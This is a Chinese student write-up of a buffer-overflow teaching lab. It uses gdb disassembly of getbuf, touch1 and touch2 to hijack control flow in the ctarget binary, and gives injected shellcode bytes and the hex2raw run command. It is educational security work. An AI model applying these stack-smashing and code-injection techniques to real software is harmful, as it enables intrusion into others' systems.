赞
踩
1、深入了解缓冲区溢出的隐患,了解如何利用缓冲区溢出这个漏洞对现有程序进行控制流劫持、执行非法程序代码,从而造成对程序进行攻击以及破坏的过程;
2、增强对程序机器级表示、汇编语言、调试器和逆向工程等理解。
对目标程序实施缓冲区溢出攻击,通过造成缓冲区溢出来破坏目标程序的栈帧结构,继而执行一些原来程序中没有的行为。
本实验共完成以下2个实验小题:level1和level2。
• 本实验是一人一题。在所发目录中,一共 3 个和本实验相关的文件:–ctarget 代码注入攻击的目标文件–hex2row 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符–cookie.txt 一个8位16进行数,作为攻击的特殊标志符(level2使用)• ctarget 为所要分析处理的文件。其中包含 3 个函数: getbuf ( ) 和 touch1 、 touch2 。可用 objdump 工具反汇编查看其代码,并存入文件中方便查看。命令为: objdump -d ctarget > ctarget.txt
• C 语言中对于数组的引用不进行任何边界检查,而且局部变量和状态信息(如保存的寄存器值和返回地址)都存放在栈中。• 当对越界的数组元素的写操作时,则会破坏存储在栈中的状态信息。一种常见的破坏就是 缓冲区溢出 。• 通常,在栈中分配某个字符数组保存一个字符串,但是字符串的长度超出了为数组分配的空间,可能不会报错。如 Gets 函数,任何长度超过 BUFFER_SIZE 个字符的字符串都会导致写越界。
函数
test
调用了函数getbuf
,getbuf
执行返回语句时,程序会继续执行test
函数中的语句。但是现在我们要使
getbuf
返回的时候,执行touch1
而不是返回test
。从
touch1
看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf
结尾处的ret
指令将控制转移到touch1
。在
getbuf
函数返回的时候,执行touch2
而不是返回test
。不同的是,我们需要注入新的代码,并且必须让touch2
以为它接收到的参数是自己的cookie
。
•正常运行程序并输入字符数较少(少于所定义的数组大小)时,输出正常,如图所示:
•如果输入的字符数太多,超出栈中定义的范围,输出错误,如图所示:
首先反汇编getbuf函数:
- (gdb) disassemble getbuf
- Dump of assembler code for function getbuf:
- 0x00000000004018f5 <+0>: sub $0x18,%rsp
- 0x00000000004018f9 <+4>: mov %rsp,%rdi
- 0x00000000004018fc <+7>: callq 0x401b80 <Gets>
- 0x0000000000401901 <+12>: mov $0x1,%eax
- 0x0000000000401906 <+17>: add $0x18,%rsp
- 0x000000000040190a <+21>: retq
- End of assembler dump.
从sub $0x18,%rsp
这条指令可以得到getbuf
创建的缓冲区大小为0x18
字节即24字节。
接下来找到touch1地址:
- (gdb) disassemble touch1
- Dump of assembler code for function touch1:
- 0x000000000040190b <+0>: sub $0x8,%rsp
- 0x000000000040190f <+4>: movl $0x1,0x202c03(%rip) # 0x60451c <vlevel>
- 0x0000000000401919 <+14>: mov $0x403235,%edi
- 0x000000000040191e <+19>: callq 0x400ce0 <puts@plt>
- 0x0000000000401923 <+24>: mov $0x1,%edi
- 0x0000000000401928 <+29>: callq 0x401dd6 <validate>
- 0x000000000040192d <+34>: mov $0x0,%edi
- 0x0000000000401932 <+39>: callq 0x400e70 <exit@plt>
- End of assembler dump.
为:0x40190b
故,我们的攻击字符串就诞生了,将它命名为1906400007.txt
用 cat 1906400007.txt | ./hex2raw | ./ctarget -q调试
在level 1的基础上,使getbuf函数的返回指向touch2函数,同时将touch2函数的参数置为userid对应的cookie值。
- (gdb) disassemble touch2
- Dump of assembler code for function touch2:
- 0x0000000000401937 <+0>: sub $0x8,%rsp
- 0x000000000040193b <+4>: mov %edi,%edx
- 0x000000000040193d <+6>: movl $0x2,0x202bd5(%rip) # 0x60451c <vlevel>
- 0x0000000000401947 <+16>: cmp 0x202bd7(%rip),%edi # <cookie>
- 0x000000000040194d <+22>: jne 0x40196f <touch2+56>
- 0x000000000040194f <+24>: mov $0x403258,%esi
- ······
- ······
在touch2可以看出,touch2
函数的起始地址为0x401937
。 touch2
的参数 val
存储于寄存器 %rdi
,我们要做的就是先跳转到一个地方执行一段代码,这段代码能够将寄存器 %rdi
的值设置为cookie
,然后再跳转到 touch2
执行。
故:攻击字符串的文件命名为:le2.s,要注入的指令代码为:
故得:我们要注入的代码字符串为48 c7 c7 13 5a 04 3c 68 37 19 40 00 c3
。
和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。
内存中存储这段代码的地方便是 getbuf
开辟的缓冲区,接下来寻找%rsp的地址,我们利用gdb查看此时缓冲区的起始地址。得到%rsp地址为:0x55617698。
最后的攻击字符串是这样子的:
%rsp地址同样用小端方式表示。
同样地,调用hex2raw
并执行ctarget
:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。